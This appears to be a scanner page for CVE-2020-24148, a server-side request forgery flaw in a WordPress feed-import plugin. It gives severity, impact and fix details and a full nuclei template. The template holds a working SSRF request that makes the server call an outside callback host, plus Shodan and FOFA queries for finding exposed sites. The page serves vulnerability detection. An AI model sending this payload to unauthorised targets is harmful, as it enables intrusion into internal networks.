Import XML & RSS Feeds WordPress Plugin <= 2.0.1 Server-Side Request Forgery

criticalseverity

9.1CVSS score

14.4%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

WordPress plugin Import XML and RSS Feeds (import-xml-feed) plugin 2.0.1 contains a server-side request forgery (SSRF) vulnerability via the data parameter in a moove_read_xml action.

Impact

Unauthenticated attackers can perform server-side request forgery to access internal resources, scan internal networks, or retrieve sensitive data from internal systems.

Fix

Update to the latest version of the Import XML & RSS Feeds WordPress Plugin (2.0.2 or higher) to mitigate the vulnerability.

How to confirm it

Send: GET /wp-content/plugins/import-xml-feed/readme.txt
Positive when: contains "Import XML feed"
Send: POST /wp-admin/admin-ajax.php?action=moove_read_xml
Positive when: contains in interactsh_protocol "http"

Run it with nuclei: nuclei -id CVE-2020-24148 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-24148

info:
  name: Import XML & RSS Feeds WordPress Plugin <= 2.0.1 Server-Side Request Forgery
  author: dwisiswant0
  severity: critical
  description: WordPress plugin Import XML and RSS Feeds (import-xml-feed) plugin 2.0.1 contains a server-side request forgery (SSRF) vulnerability via the data parameter in a moove_read_xml action.
  impact: |
    Unauthenticated attackers can perform server-side request forgery to access internal resources, scan internal networks, or retrieve sensitive data from internal systems.
  remediation: |
    Update to the latest version of the Import XML & RSS Feeds WordPress Plugin (2.0.2 or higher) to mitigate the vulnerability.
  reference:
    - https://github.com/dwisiswant0/CVE-2020-24148
    - https://wordpress.org/plugins/import-xml-feed/#developers
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24148
    - https://github.com/secwx/research/blob/main/cve/CVE-2020-24148.md
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
    cvss-score: 9.1
    cve-id: CVE-2020-24148
    cwe-id: CWE-918
    epss-score: 0.14363
    epss-percentile: 0.96643
    cpe: cpe:2.3:a:mooveagency:import_xml_and_rss_feeds:2.0.1:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: mooveagency
    product: import_xml_and_rss_feeds
    framework: wordpress
    shodan-query: http.html:"import-xml-feed"
    fofa-query: body="import-xml-feed"
  tags: cve,cve2020,wordpress,wp-plugin,ssrf,mooveagency,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/import-xml-feed/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Import XML feed'

  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=moove_read_xml HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        type=url&data=http%3A%2F%2F{{interactsh-url}}%2F&xmlaction=preview&node=0

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

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